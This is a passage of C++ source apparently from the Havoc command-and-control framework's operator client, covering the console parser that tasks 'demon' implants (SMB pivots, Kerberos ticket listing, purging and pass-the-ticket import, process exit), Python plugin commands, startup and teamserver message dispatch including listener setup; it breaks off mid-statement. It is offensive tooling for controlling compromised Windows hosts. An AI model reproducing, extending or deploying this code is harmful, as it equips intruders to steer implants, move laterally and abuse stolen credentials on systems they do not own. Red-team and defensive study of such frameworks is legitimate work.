TaskID = CONSOLE_INFO( "Tasked demon to list connected agent pivots" ); Command = "1"; } else if ( InputCommands[ 1 ].compare( "connect" ) == 0 ) { // TODO: For now only Smb Command = "10"; if ( InputCommands.size() >= 4 ) { auto Host = InputCommands[ 2 ]; auto Addr = InputCommands[ 3 ]; Param = "\\\\" + Host + "\\pipe\\" + Addr; TaskID = CONSOLE_INFO( "Tasked demon to connect to a smb pivot: " + Param ); } else { CONSOLE_ERROR( "Not enough arguments" ) return false; } } else if ( InputCommands[ 1 ].compare( "disconnect" ) == 0 ) { if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } Command = "11"; Param = InputCommands[ 2 ]; TaskID = CONSOLE_INFO( "Tasked demon to disconnect a smb pivot: " + Param ); } else { CONSOLE_ERROR( "Command not found: " + InputCommands.join( ' ' ) ) return false; } CommandInputList[ TaskID ] = commandline; SEND( Execute.Pivot( TaskID, Command, Param ) ) } } else if ( InputCommands[ 0 ].compare( "luid" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to get the current logon ID" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Luid( TaskID ) ) } else if ( InputCommands[ 0 ].compare( "klist" ) == 0 ) { auto Arg1 = QString(); auto Arg2 = QString(); if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } if ( InputCommands[ 1 ].compare( "/all" ) == 0 ) { Arg1 = "/all"; } else if ( InputCommands[ 1 ].compare( "/luid" ) == 0 ) { if ( InputCommands.size() != 3 ) { CONSOLE_ERROR( "Invalid parameter" ) return false; } Arg1 = "/luid"; Arg2 = InputCommands[ 2 ]; } else { CONSOLE_ERROR( "Invalid parameter" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to list Kerberos tickets" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Klist( TaskID, Arg1, Arg2 ) ); } else if ( InputCommands[ 0 ].compare( "purge" ) == 0 ) { auto Arg = QString(); if ( InputCommands.size() < 3 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 3 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } if ( InputCommands[ 1 ].compare( "/luid" ) == 0 ) { Arg = InputCommands[ 2 ]; } else { CONSOLE_ERROR( "Invalid parameter" ) return false; } TaskID = CONSOLE_INFO( "Tasked demon to purge a Kerberos ticket" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Purge( TaskID, Arg ) ); } else if ( InputCommands[ 0 ].compare( "ptt" ) == 0 ) { auto Ticket = QString(); QString Luid = "0"; if ( InputCommands.size() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.size() > 4 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } Ticket = InputCommands[ 1 ]; if ( InputCommands.size() == 3 ) { CONSOLE_ERROR( "Invalid arguments" ) return false; } if ( InputCommands.size() == 4 ) { if ( InputCommands[ 2 ].compare( "/luid" ) != 0 ) { CONSOLE_ERROR( "Invalid arguments" ) return false; } Luid = InputCommands[ 3 ]; } TaskID = CONSOLE_INFO( "Tasked demon to import a Kerberos ticket" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Ptt( TaskID, Ticket, Luid ) ); } else if ( InputCommands[ 0 ].compare( "exit" ) == 0 ) { if ( InputCommands.length() < 2 ) { CONSOLE_ERROR( "Not enough arguments" ) return false; } if ( InputCommands.length() > 2 ) { CONSOLE_ERROR( "Too many arguments" ) return false; } if ( InputCommands[ 1 ].compare( "thread" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to cleanup and exit the thread" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Exit( TaskID, "thread" ) ) } else if ( InputCommands[ 1 ].compare( "process" ) == 0 ) { TaskID = CONSOLE_INFO( "Tasked demon to cleanup and exit the process" ); CommandInputList[ TaskID ] = commandline; SEND( Execute.Exit( TaskID, "process" ) ) } else { CONSOLE_ERROR( "Option not found: " + InputCommands[ 1 ] ) return false; } } else if ( InputCommands[ 0 ].compare( "clear" ) == 0 ) { auto AgentMessageInfo = QString(); auto PivotStream = QString(); auto prev_cursor = QTextCursor(); DemonConsole->Console->clear(); if ( DemonConsole->SessionInfo.PivotParent.size() > 0 ) { PivotStream = "[Pivot: " + DemonConsole->SessionInfo.PivotParent + Util::ColorText::Cyan( "-<>-<>-" ) + DemonConsole->SessionInfo.Name + "]"; } else { PivotStream = "[Pivot: "+ Util::ColorText::Cyan( "Direct" ) +"]"; } AgentMessageInfo = Util::ColorText::Comment( DemonConsole->SessionInfo.First ) + " Agent "+ Util::ColorText::Red( DemonConsole->SessionInfo.Name.toUpper() ) + " authenticated as "+ Util::ColorText::Purple( DemonConsole->SessionInfo.Computer + "\\" + DemonConsole->SessionInfo.User ) + " :: [Internal: "+Util::ColorText::Cyan( DemonConsole->SessionInfo.Internal ) + "] [Process: " + Util::ColorText::Red( DemonConsole->SessionInfo.Process +"\\"+ DemonConsole->SessionInfo.PID ) + "] [Arch: " +Util::ColorText::Pink( DemonConsole->SessionInfo.Arch ) + "] " + PivotStream; prev_cursor = DemonConsole->Console->textCursor(); DemonConsole->Console->moveCursor ( QTextCursor::End ); DemonConsole->Console->insertHtml( AgentMessageInfo ); DemonConsole->Console->setTextCursor( prev_cursor ); return true; } else if ( InputCommands[ 0 ].compare( "" ) == 0 ) { /* do nothing */ } else { if ( ! Send && ! CommandTaskInfo[ TaskID ].isEmpty() ) { DemonConsole->AppendRaw(); DemonConsole->AppendRaw( Prompt ); DemonConsole->AppendRaw( Util::ColorText::Cyan( "[*]" ) + " " + Util::ColorText::Comment( "[" + TaskID + "]") + " " + Util::ColorText::Cyan( CommandTaskInfo[ TaskID ] ) ); } CheckRegisteredCommands: spdlog::debug( "Check if one of the registered commands it is lol." ); auto FoundCommand = false; // check for registered commands for ( auto& Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 0 ].isEmpty() ) break; if ( Command.Agent != "Demon" ) continue; /* Check if module is matching */ if ( InputCommands[ 0 ].compare( Command.Module.c_str() ) == 0 ) { if ( InputCommands.size() <= 1 ) { if ( Send ) { CONSOLE_ERROR( "Specify a sub command for the given module." ); } return false; } /* Check if command is matching */ if ( InputCommands[ 1 ].compare( Command.Command.c_str() ) == 0 ) { PyObject* FuncArgs = PyTuple_New( InputCommands.size() - 1 ); PyObject* Return = nullptr; auto Path = std::string(); spdlog::debug( "Found module: {} {}", Command.Module.c_str(), Command.Command.c_str() ); if ( Send ) { if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) ) { DemonConsole->TaskError( "A callable is required for " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] ); return false; } if ( ! Command.Path.empty() ) { Path = std::filesystem::current_path(); spdlog::debug( "Set current path to {}", Command.Path ); std::filesystem::current_path( Command.Path ); } spdlog::debug( "execute script command:{}", Command.Command ); // First arg is the DemonID PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) ); // Set arguments of the functions for ( u32 i = 2; i < InputCommands.size(); i++ ) PyTuple_SetItem( FuncArgs, i - 1, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) ); Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs ); if ( ! Path.empty() ) { spdlog::debug( "Set path back to {}", Path ); std::filesystem::current_path( Path ); } if ( Return == nullptr && PyErr_Occurred() ) { PyErr_PrintEx(0); PyErr_Clear(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] + ". Python module failed" ); Py_CLEAR( FuncArgs ); return false; } if ( Py_IsNone( Return ) || Py_IsTrue( Return ) || Py_IsFalse( Return ) ) { if ( Send ) { PrintModuleCachedMessages(); if ( Py_IsNone( Return ) ) DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] + ". Script return is None" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } if ( ! Py_IS_TYPE( Return, &PyUnicode_Type ) ) { if ( Send ) { PrintModuleCachedMessages(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + " " + InputCommands[ 1 ] + ". Script return is invalid" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } auto ReturnTaskID = PyUnicode_AsUTF8( Return ); TaskID = QString( ReturnTaskID ); NewPackageCommand( Teamserver, Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "TaskMessage", CommandTaskInfo[ TaskID ].toStdString() }, { "DemonID", DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Python Plugin" }, { "CommandLine", commandline.toStdString() }, }, } ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); } return true; } } /* Alright it's a command i hope ? Check if command is matching */ else if ( InputCommands[ 0 ].compare( Command.Command.c_str() ) == 0 && Command.Module.length() == 0 ) { PyObject* FuncArgs = PyTuple_New( InputCommands.size() ); PyObject* Return = NULL; auto Path = std::string(); if ( Send ) { if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) ) { PyErr_SetString( PyExc_TypeError, "a callable is required" ); return false; } if ( ! Command.Path.empty() ) { Path = std::filesystem::current_path(); spdlog::debug( "Set current path to {}", Command.Path ); std::filesystem::current_path( Command.Path ); } spdlog::debug( "execute script command: {}", Command.Command ); // First arg is the DemonID PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) ); // Set arguments of the functions for ( u32 i = 1; i < InputCommands.size(); i++ ) PyTuple_SetItem( FuncArgs, i, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) ); Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs ); if ( ! Path.empty() ) { spdlog::debug( "Set path back to {}", Path ); std::filesystem::current_path( Path ); } if ( Return == nullptr && PyErr_Occurred() ) { PyErr_PrintEx(0); PyErr_Clear(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Python module failed" ); Py_CLEAR( FuncArgs ); return false; } if ( Py_IsNone( Return ) || Py_IsTrue( Return ) || Py_IsFalse( Return ) ) { if ( Send ) { PrintModuleCachedMessages(); if ( Py_IsNone( Return ) ) DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Script return is None" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } if ( ! Py_IS_TYPE( Return, &PyUnicode_Type ) ) { if ( Send ) { PrintModuleCachedMessages(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Script return is invalid" ); } Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } auto ReturnTaskID = PyUnicode_AsUTF8( Return ); TaskID = QString( ReturnTaskID ); NewPackageCommand( Teamserver, Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "TaskMessage", CommandTaskInfo[ TaskID ].toStdString() }, { "DemonID", DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Python Plugin" }, { "CommandLine", commandline.toStdString() }, }, } ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); } return true; } } if ( ! FoundCommand ) { CONSOLE_ERROR( "Command/Module not found: " + commandline ) } return false; } } else { if (InputCommands[0].compare("help") == 0) { if (InputCommands.size() > 1 && InputCommands[1] != "") { spdlog::info("show help for command"); } else { int TotalSize = 18; DemonConsole->Console->append(""); DemonConsole->Console->append(" Command Type Description"); DemonConsole->Console->append(" --------- ------- -----------"); std::vector commandOutput; for (auto &command : AgentData.Commands) { if (!command.Anonymous) { commandOutput.push_back(" " + command.Name + QString(std::string((TotalSize - command.Name.size()), ' ').c_str()) + "Command" + " " + command.Description); } } // Sort the commandOutput vector alphabetically std::sort(commandOutput.begin(), commandOutput.end(), compareQString); for (auto &command : HavocX::Teamserver.RegisteredCommands) { if (command.Agent == AgentTypeName.toStdString()) { QString currentCommand = " " + QString(command.Command.c_str()) + QString(std::string((TotalSize - command.Command.size()), ' ').c_str()) + "Command" + " " + QString(command.Help.c_str()); // Find the position to insert the current command in the sorted commandOutput vector auto insertPosition = std::lower_bound(commandOutput.begin(), commandOutput.end(), currentCommand, compareQString); // Insert the current command to the commandOutput vector in the proper position commandOutput.insert(insertPosition, currentCommand); } } // Append the sorted commands to the console for (const auto &output : commandOutput) { DemonConsole->Console->append(output); } } } else if ( InputCommands[ 0 ].compare( "clear" ) == 0 ) { auto AgentMessageInfo = QString(); auto PivotStream = QString(); auto prev_cursor = QTextCursor(); DemonConsole->Console->clear(); if ( DemonConsole->SessionInfo.PivotParent.size() > 0 ) { PivotStream = "[Pivot: " + DemonConsole->SessionInfo.PivotParent + Util::ColorText::Cyan( "-<>-<>-" ) + DemonConsole->SessionInfo.Name + "]"; } else { PivotStream = "[Pivot: "+ Util::ColorText::Cyan( "Direct" ) +"]"; } AgentMessageInfo = Util::ColorText::Comment( DemonConsole->SessionInfo.First ) + " Agent "+ Util::ColorText::Red( DemonConsole->SessionInfo.Name.toUpper() ) + " authenticated as "+ Util::ColorText::Purple( DemonConsole->SessionInfo.Computer + "\\" + DemonConsole->SessionInfo.User ) + " :: [Internal: "+Util::ColorText::Cyan( DemonConsole->SessionInfo.Internal ) + "] [Process: " + Util::ColorText::Red( DemonConsole->SessionInfo.Process +"\\"+ DemonConsole->SessionInfo.PID ) + "] [Arch: " +Util::ColorText::Pink( DemonConsole->SessionInfo.Arch ) + "] " + PivotStream; prev_cursor = DemonConsole->Console->textCursor(); DemonConsole->Console->moveCursor ( QTextCursor::End ); DemonConsole->Console->insertHtml( AgentMessageInfo ); DemonConsole->Console->setTextCursor( prev_cursor ); return true; } else { auto CommandInput = QMap(); auto ParamArray = commandline.split( " " ); auto CommandFound = false; ParamArray.erase( ParamArray.begin() ); if ( ! Send ) { if ( ! CommandTaskInfo[ TaskID ].isEmpty() ) { DemonConsole->AppendRaw(); DemonConsole->AppendRaw( Prompt ); DemonConsole->AppendRaw( Util::ColorText::Cyan( "[*]" ) + " " + CommandTaskInfo[ TaskID ] ); } } for ( auto & command : AgentData.Commands ) { if ( InputCommands[ 0 ].compare( command.Name ) == 0 ) { TaskID = Util::gen_random( 8 ).c_str(); CommandFound = true; CommandInput.insert( "TaskID", TaskID.toStdString() ); CommandInput.insert( "CommandLine", commandline.toStdString() ); CommandInput.insert( "DemonID", DemonConsole->SessionInfo.Name.toStdString() ); CommandInput.insert( "Command", command.Name.toStdString() ); ParamArray.push_back(""); for ( u32 i = 0; i < command.Params.size(); i++ ) { auto Value = QString(); if ( command.Params[ i ].IsFilePath ) { Value = FileRead( ParamArray[ i ] ).toBase64(); } else { if ( ParamArray.size() > 1 && command.Params.size() == 1 ) Value = ParamArray.join( " " ); else Value = ParamArray[ i ]; } CommandInput.insert( command.Params[ i ].Name.toStdString(), Value.toStdString() ); } } } if ( CommandFound ) { /* send command to agent handler */ SEND( Execute.AgentCommand( CommandInput ) ); } else { CommandFound = false; for ( auto & Command : HavocX::Teamserver.RegisteredCommands ) { if ( InputCommands[ 0 ].isEmpty() ) break; if ( Command.Agent == AgentTypeName.toStdString() ) { if ( InputCommands[ 0 ].compare( Command.Command.c_str() ) == 0 ) { PyObject* FuncArgs = PyTuple_New( InputCommands.size() ); PyObject* Return = nullptr; auto Path = std::string(); CommandFound = true; if ( Send ) { if ( ! PyCallable_Check( ( PyObject* ) Command.Function ) ) { PyErr_SetString( PyExc_TypeError, "a callable is required" ); return false; } if ( ! Command.Path.empty() ) { Path = std::filesystem::current_path(); spdlog::debug( "Set current path to {}", Command.Path ); std::filesystem::current_path( Command.Path ); } // First arg is the DemonID PyTuple_SetItem( FuncArgs, 0, PyUnicode_FromString( this->DemonID.toStdString().c_str() ) ); // Set arguments of the functions for ( u32 i = 1; i < InputCommands.size(); i++ ) PyTuple_SetItem( FuncArgs, i, PyUnicode_FromString( InputCommands[ i ].toStdString().c_str() ) ); Return = PyObject_CallObject( ( PyObject* ) Command.Function, FuncArgs ); if ( ! Path.empty() ) { spdlog::debug( "Set path back to {}", Path ); std::filesystem::current_path( Path ); } if ( Return == nullptr && PyErr_Occurred() ) { PyErr_PrintEx(0); PyErr_Clear(); DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] + ". Python module failed" ); Py_CLEAR( FuncArgs ); return false; } if ( Py_IsNone( Return ) ) { if ( Send ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( this->Prompt ); for ( auto& message : DemonConsole->DemonCommands->BufferedMessages ) DemonConsole->Console->append( message ); } DemonConsole->TaskError( "Failed to execute " + InputCommands[ 0 ] ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); return false; } TaskID = QString( PyUnicode_AsUTF8( Return ) ); NewPackageCommand( Teamserver, Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "TaskMessage", CommandTaskInfo[ TaskID ].toStdString() }, { "DemonID", DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", "Python Plugin" }, { "CommandLine", commandline.toStdString() }, }, } ); Py_CLEAR( Return ); Py_CLEAR( FuncArgs ); } return true; } } } } if ( ! CommandFound ) { CONSOLE_ERROR( "Command/Module not found: " + commandline ) } } } return true; } auto DemonCommands::PrintModuleCachedMessages( ) -> void { if ( DemonConsole->DemonCommands->BufferedMessages.size() > 0 ) { DemonConsole->Console->append( "" ); DemonConsole->Console->append( this->Prompt ); /* display any messages that the script made */ for ( auto& message : DemonConsole->DemonCommands->BufferedMessages ) DemonConsole->Console->append( message ); DemonConsole->DemonCommands->BufferedMessages.clear(); } } ================================================ FILE: client/src/Havoc/Havoc.cc ================================================ #include #include #include #include HavocSpace::Havoc::Havoc( QMainWindow* w ) { w->setVisible( false ); spdlog::set_pattern( "[%T] [%^%l%$] %v" ); spdlog::info( "Havoc Framework [Version: {}] [CodeName: {}]", HavocNamespace::Version, HavocNamespace::CodeName ); this->HavocMainWindow = w; this->dbManager = new HavocSpace::DBManager( "data/client.db", DBManager::CreateSqlFile ); } void HavocSpace::Havoc::Init( int argc, char** argv ) { auto List = std::vector(); auto Connect = new HavocNamespace::UserInterface::Dialogs::Connect; auto Arguments = cmdline::parser(); auto Path = std::string(); Arguments.add( "debug", '\0', "debug mode" ); Arguments.add( "config", '\0', "toml config path" ); Arguments.parse_check( argc, argv ); if ( Arguments.exist( "debug" ) ) { spdlog::set_level( spdlog::level::debug ); spdlog::debug( "Debug mode enabled" ); } if ( Arguments.exist( "config" ) ) { Path = Arguments.get( "config" ); if ( ! QFile::exists( Path.c_str() ) ) { Path = std::string(); } } if ( Path.empty() ) { Path = "client/config.toml"; } if ( ! QFile::exists( Path.c_str() ) ) { Path = "config.toml"; if ( ! QFile::exists( Path.c_str() ) ) { spdlog::error( "couldn't find config file" ); Exit(); } } Config = toml::parse( Path ); spdlog::info( "loaded config file: {}", Path ); /* TODO: handle any kind of error */ const auto& font = toml::find( Config, "font" ); const auto family = toml::find( font, "family" ); const auto size = toml::find( font, "size" ); QTextCodec::setCodecForLocale( QTextCodec::codecForName( "UTF-8" ) ); QApplication::setFont( QFont( family.c_str(), size ) ); QTimer::singleShot( 10, [&]() { QApplication::setFont( QFont( family.c_str(), size ) ); } ); this->HavocMainWindow->setVisible( false ); Connect->TeamserverList = dbManager->listTeamservers(); Connect->passDB( this->dbManager ); Connect->setupUi( new QDialog ); HavocX::Teamserver = Connect->StartDialog( false ); delete Connect; } void HavocSpace::Havoc::Start() { this->ClientInitConnect = false; this->HavocMainWindow->setVisible( true ); this->HavocMainWindow->setCentralWidget( this->HavocAppUI.centralwidget ); this->HavocMainWindow->show(); } void HavocSpace::Havoc::Exit() { spdlog::critical( "Exit Program" ); HavocApplication->HavocMainWindow->close(); exit( 0 ); } Havoc::~Havoc() { delete this->dbManager; delete this->HavocMainWindow; } ================================================ FILE: client/src/Havoc/Packager.cc ================================================ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include const int Util::Packager::InitConnection::Type = 0x1; const int Util::Packager::InitConnection::Success = 0x1; const int Util::Packager::InitConnection::Error = 0x2; const int Util::Packager::InitConnection::Login = 0x3; const int Util::Packager::Listener::Type = 0x2; const int Util::Packager::Listener::Add = 0x1; const int Util::Packager::Listener::Edit = 0x2; const int Util::Packager::Listener::Remove = 0x3; const int Util::Packager::Listener::Mark = 0x4; const int Util::Packager::Listener::Error = 0x5; const int Util::Packager::Chat::Type = 0x4; const int Util::Packager::Chat::NewMessage = 0x1; const int Util::Packager::Chat::NewListener = 0x2; const int Util::Packager::Chat::NewSession = 0x3; const int Util::Packager::Chat::NewUser = 0x4; const int Util::Packager::Chat::UserDisconnect = 0x5; const int Util::Packager::Gate::Type = 0x5; const int Util::Packager::Gate::Staged = 0x1; const int Util::Packager::Gate::Stageless = 0x2; const int Util::Packager::Session::Type = 0x7; const int Util::Packager::Session::NewSession = 0x1; const int Util::Packager::Session::Remove = 0x2; const int Util::Packager::Session::SendCommand = 0x3; const int Util::Packager::Session::ReceiveCommand = 0x4; const int Util::Packager::Session::MarkAs = 0x5; const int Util::Packager::Service::Type = 0x9; const int Util::Packager::Service::AgentRegister = 0x1; const int Util::Packager::Service::ListenerRegister = 0x2; const int Util::Packager::Teamserver::Type = 0x10; const int Util::Packager::Teamserver::Logger = 0x1; const int Util::Packager::Teamserver::Profile = 0x2; using HavocNamespace::UserInterface::Widgets::ScriptManager; Util::Packager::PPackage Packager::DecodePackage( const QString& Package ) { auto FullPackage = new Util::Packager::Package; auto PackageObject = QJsonObject(); auto JsonData = QJsonDocument::fromJson( Package.toUtf8() ); if ( JsonData.isEmpty() ) { spdlog::critical( "Invalid json" ); return nullptr; } if ( JsonData.isObject() ) { PackageObject = JsonData.object(); auto HeadObject = PackageObject[ "Head" ].toObject(); auto BodyObject = PackageObject[ "Body" ].toObject(); FullPackage->Head.Event = HeadObject[ "Event" ].toInt(); FullPackage->Head.Time = HeadObject[ "Time" ].toString().toStdString(); FullPackage->Head.User = HeadObject[ "User" ].toString().toStdString(); FullPackage->Body.SubEvent = BodyObject[ "SubEvent" ].toInt(); if ( BodyObject[ "Info" ].isObject() ) { foreach( const QString& key, BodyObject[ "Info" ].toObject().keys() ) { FullPackage->Body.Info[ key.toStdString() ] = BodyObject[ "Info" ].toObject().value( key ).toString().toStdString(); } } } else { auto object = QJsonDocument( JsonData ).toJson().toStdString(); spdlog::critical( "Is not an Object: {}", object ); } return FullPackage; } QJsonDocument Packager::EncodePackage( Util::Packager::Package Package ) { auto JsonPackage = QJsonObject(); auto Head = QJsonObject(); auto Body = QJsonObject(); auto Map = QVariantMap(); auto Iterator = QMapIterator( Package.Body.Info ); while ( Iterator.hasNext() ) { Iterator.next(); Map.insert( Iterator.key().c_str(), Iterator.value().c_str() ); } Head.insert( "Event", QJsonValue::fromVariant( Package.Head.Event ) ); Head.insert( "User", QJsonValue::fromVariant( Package.Head.User.c_str() ) ); Head.insert( "Time", QJsonValue::fromVariant( Package.Head.Time.c_str() ) ); Head.insert( "OneTime", QJsonValue::fromVariant( Package.Head.OneTime.c_str() ) ); Body.insert( "SubEvent", QJsonValue::fromVariant( Package.Body.SubEvent ) ); Body.insert( "Info", QJsonValue::fromVariant( Map ) ); JsonPackage.insert( "Body", Body ); JsonPackage.insert( "Head", Head ); return QJsonDocument( JsonPackage ); } auto Packager::DispatchPackage( Util::Packager::PPackage Package ) -> bool { switch ( Package->Head.Event ) { case Util::Packager::InitConnection::Type: return DispatchInitConnection( Package ); case Util::Packager::Listener::Type: return DispatchListener( Package ); case Util::Packager::Chat::Type: return DispatchChat( Package ); case Util::Packager::Gate::Type: return DispatchGate( Package ); case Util::Packager::Session::Type: return DispatchSession( Package ); case Util::Packager::Service::Type: return DispatchService( Package ); case Util::Packager::Teamserver::Type: return DispatchTeamserver( Package ); default: spdlog::info( "[PACKAGE] Event Id not found" ); return false; } } bool Packager::DispatchInitConnection( Util::Packager::PPackage Package ) { HavocX::HavocUserInterface = &HavocApplication->HavocAppUI; switch ( Package->Body.SubEvent ) { case Util::Packager::InitConnection::Success: { if ( HavocApplication->ClientInitConnect ) { if ( ! HavocApplication->HavocAppUI.isVisible() ) { HavocApplication->HavocAppUI.setupUi( HavocApplication->HavocMainWindow ); HavocApplication->HavocAppUI.setDBManager( HavocApplication->dbManager ); } const auto scripts = toml::find( HavocApplication->Config, "scripts" ); const auto& files = toml::find>( scripts, "files" ); for ( const auto& file : files ) { ScriptManager::AddScript( file.c_str() ); } HavocApplication->Start(); } else { HavocApplication->HavocAppUI.NewTeamserverTab( this->TeamserverName ); } return true; } case Util::Packager::InitConnection::Error: { if ( Package->Body.Info[ "Message" ] == "" ) { MessageBox( "Teamserver Error", QString( "Couldn't connect to Teamserver:" + QString( Package->Body.Info[ "Message" ].c_str() ) ), QMessageBox::Critical ); } else { MessageBox( "Teamserver Error", "Couldn't connect to Teamserver", QMessageBox::Critical ); } return true; } case 0x5: { auto TeamserverIPs = QString( Package->Body.Info[ "TeamserverIPs" ].c_str() ); for ( auto& Ip : TeamserverIPs.split( ", " ) ) { HavocX::Teamserver.IpAddresses << Ip; } HavocX::Teamserver.DemonConfig = QJsonDocument::fromJson( Package->Body.Info[ "Demon" ].c_str() ); } default: return false; } } bool Packager::DispatchListener( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Listener::Add: { auto TeamserverTab = HavocX::Teamserver.TabSession; // check if this comes from the Teamserver or operator. if from operator then ignore it if ( ! Package->Head.User.empty() ) return false; auto ListenerInfo = Util::ListenerItem { .Name = Package->Body.Info[ "Name" ], .Protocol = Package->Body.Info[ "Protocol" ], .Status = Package->Body.Info[ "Status" ], }; if ( ListenerInfo.Protocol == Listener::PayloadHTTP.toStdString() ) { auto Headers = QStringList(); for ( auto& header : QString( Package->Body.Info[ "Headers" ].c_str() ).split( ", " ) ) { Headers << header; } auto Uris = QStringList(); for ( auto& uri : QString( Package->Body.Info[ "Uris" ].c_str() ).split( ", " ) ) { Uris << uri; } auto Hosts = QStringList(); for ( auto& host : QString( Package->Body.Info[ "Hosts" ].c_str() ).split( ", " ) ) { Hosts << host; } ListenerInfo.Info = Listener::HTTP { .Hosts = Hosts, .HostBind = Package->Body.Info[ "HostBind" ].c_str(), .HostRotation = Package->Body.Info[ "HostRotation" ].c_str(), .PortBind = Package->Body.Info[ "PortBind" ].c_str(), .PortConn = Package->Body.Info[ "PortConn" ].c_str(), .UserAgent = Package->Body.Info[ "UserAgent" ].c_str(), .Headers = Headers, .Uris = Uris, .HostHeader = Package->Body.Info[ "HostHeader" ].c_str(), .Secure = Package->Body.Info[ "Secure" ].c_str(), // proxy configuration .ProxyEnabled = Package->Body.Info[ "Proxy Enabled" ].c_str(), .ProxyType = Package->Body.Info[ "Proxy Type" ].c_str(), .ProxyHost = Package->Body.Info[ "Proxy Host" ].c_str(), .ProxyPort = Package->Body.Info[ "Proxy Port" ].c_str(), .ProxyUsername = Package->Body.Info[ "Proxy Username" ].c_str(), .ProxyPassword = Package->Body.Info[ "Proxy Password" ].c_str(), }; if ( Package->Body.Info[ "Secure" ] == "true" ) { ListenerInfo.Protocol = Listener::PayloadHTTPS.toStdString(); } } else if ( ListenerInfo.Protocol == Listener::PayloadSMB.toStdString() ) { ListenerInfo.Info = Listener::SMB { .PipeName = Package->Body.Info[ "PipeName" ].c_str(), }; } else if ( ListenerInfo.Protocol == Listener::PayloadExternal.toStdString() ) { ListenerInfo.Info = Listener::External { .Endpoint = Package->Body.Info[ "Endpoint" ].c_str(), }; } else { // We assume it's a service listener. auto found = false; for ( const auto& listener : HavocX::Teamserver.RegisteredListeners ) { if ( ListenerInfo.Protocol == listener[ "Name" ].get() ) { found = true; ListenerInfo.Info = Listener::Service { { "Host", Package->Body.Info[ "Host" ].c_str() }, { "PortBind", Package->Body.Info[ "Port" ].c_str() }, { "PortConn", Package->Body.Info[ "Port" ].c_str() }, { "Info", Package->Body.Info[ "Info" ].c_str() } // NOTE: this is json string. }; break; } } if ( ! found ) { spdlog::error( "Listener protocol type not found: {} ", ListenerInfo.Protocol ); MessageBox( "Listener Error", QString( ( "Listener protocol type not found: {} " + ListenerInfo.Protocol ).c_str() ), QMessageBox::Critical ); return false; } } if ( TeamserverTab->ListenerTableWidget == nullptr ) { TeamserverTab->ListenerTableWidget = new UserInterface::Widgets::ListenersTable; TeamserverTab->ListenerTableWidget->setupUi( new QWidget ); TeamserverTab->ListenerTableWidget->TeamserverName = this->TeamserverName; } TeamserverTab->ListenerTableWidget->ListenerAdd( ListenerInfo ); if ( ListenerInfo.Status.compare( "Online" ) == 0 ) { auto MsgStr = "[" + Util::ColorText::Cyan( "*" ) + "]" + " Started " + Util::ColorText::Green( "\"" + QString( ListenerInfo.Name.c_str() ) + "\"" ) + " listener"; auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr ); spdlog::info( "Started \"{}\" listener", ListenerInfo.Name ); } else if ( ListenerInfo.Status.compare( "Offline" ) == 0 ) { if ( ! Package->Body.Info[ "Error" ].empty() ) { auto Error = QString( Package->Body.Info[ "Error" ].c_str() ); auto Name = QString( ListenerInfo.Name.c_str() ); TeamserverTab->ListenerTableWidget->ListenerError( Name, Error ); } } break; } case Util::Packager::Listener::Remove: { HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerRemove( Package->Body.Info[ "Name" ].c_str() ); break; } case Util::Packager::Listener::Edit: { auto ListenerInfo = Util::ListenerItem { .Name = Package->Body.Info[ "Name" ], .Protocol = Package->Body.Info[ 